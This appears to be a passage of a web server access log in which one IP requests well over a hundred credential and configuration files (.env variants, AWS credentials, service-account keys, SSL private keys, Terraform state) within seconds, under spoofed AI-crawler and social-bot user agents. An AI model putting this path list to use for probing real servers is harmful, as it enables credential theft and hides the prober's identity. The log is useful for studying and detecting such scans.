[10/Sep/2026:03:49:40 -0700] "GET /service-account-key.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /service_account.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.8098.163 Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /client_secret.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /keyfile.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /google-service-account.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /firebase-service-account.json HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.6045.10 Mobile Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /firebase-admin.json HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /firebase.json HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:150.14) Gecko/20100101 Firefox/150.14; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /api-keys.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /api/keys.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /api/config.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /api/openapi.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Version/17.0 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /app/config.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /backend/config.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secrets/aws.json HTTP/1.1" 200 12098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/firebase-admin.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /backend/aws.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/gcp-credentials.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /backend/service-account.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /deploy/service-account.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secrets/gcp.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/service-account.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/application.yml HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/application.properties HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/settings.py HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/runtime.exs HTTP/1.1" 200 12092 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/prod.exs HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.3) Gecko/20100101 Firefox/127.3; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config/storage.yml HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.5736.239 Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config.yaml HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config.yml HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config.toml HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /config.py HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secrets.yml HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Chrome/133.0.5771.111 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /secrets.yaml HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/133.0.8340.151 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /bootstrap.yml HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com) Chrome/148.0.479.230 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /application.properties HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:143.12) Gecko/20100101 Firefox/143.12; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /settings.py HTTP/1.1" 200 12083 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /app/settings.py HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.4 Safari/605.1.15; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /backend/settings.py HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.8) Gecko/20100101 Firefox/127.8; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /instance/config.py HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php) Chrome/151.0.5429.102 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /core/settings.py HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /local.settings.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15; compatible; Twitterbot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.boto HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /web.config HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /rclone.conf HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.8591.212 Mobile Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.streamlit/secrets.toml HTTP/1.1" 200 12098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:40 -0700] "GET /.s3cfg HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /ssl/server.key HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /ssl/localhost.key HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.1) Gecko/20100101 Firefox/105.1; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /localhost.key HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.5489.162 Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /configuration.js HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /host.key HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /configuration.php.bak HTTP/1.1" 200 12098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /aws-config.js HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.2052.192 Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /aws-exports.js HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7687.47 Safari/537.36 Edg/148.0.7687.47; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /amplifyconfiguration.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.783.107 Safari/537.36 Edg/134.0.783.107; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /runtime.js HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /environment.js HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /credentials.js HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /settings.js HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /config.json.js HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /push_config.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/109.0.2526.201 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /dist/.vite/manifest.json HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /dist/manifest.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/126.0.5381.192 Safari/537.36 Edg/126.0.5381.192" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /build/manifest.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /api/v2/settings HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.1348.128 Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /api/v2/config HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /values.yaml HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.18) Gecko/20100101 Firefox/133.18; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /bootstrap.properties HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.6 Mobile/15E148 Safari/604.1; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /.vscode/launch.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.7) Gecko/20100101 Firefox/127.7; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /telescope/requests HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /__debug__/ HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:149.1) Gecko/20100101 Firefox/149.1; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /_debugbar/open HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /public/admin.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.7414.78 Safari/537.36; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /_ignition/health-check HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /openapi.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /.aider.conf.yml HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /.svn/entries HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /config/aws.yml HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:150.14) Gecko/20100101 Firefox/150.14; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /config/aws.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/151.0.879.153 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /aws/credentials HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /api/.aws/credentials HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /config/aws.json HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0) Chrome/130.0.7815.83 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /backend/.aws/credentials HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /app/.aws/credentials HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:41 -0700] "GET /aws/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6317.51 Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /aws/.env.production HTTP/1.1" 200 12100 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /.aws/credentials.bak HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /.aws/credentials.old HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/134.0.824.178 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /s3/credentials HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.5318.109 Mobile Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /s3/.aws/config HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /terraform.tfvars HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/91.0.8930.163 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /terraform.tfstate HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.4 Safari/605.1.15; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /serverless.yml HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /serverless.yaml HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /var/www/.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /var/www/html/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6260.1 Safari/537.36; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /.sendgrid.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /sendgrid/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/128.0.6337.13 Safari/537.36 Edg/128.0.6337.13" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /config/sendgrid.env HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com) Chrome/133.0.2806.192 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /mail/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /stripe.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:143.17) Gecko/20100101 Firefox/143.17; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /email/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /stripe.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/148.0.3273.139 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /stripe/.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.1051.56 Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /config/stripe.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /backend-api/.env HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /development/.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/131.0.2399.24 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /prod/.env HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/124.0.4926.101 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:42 -0700] "GET /back/.env HTTP/1.1" 200 12084 "-" 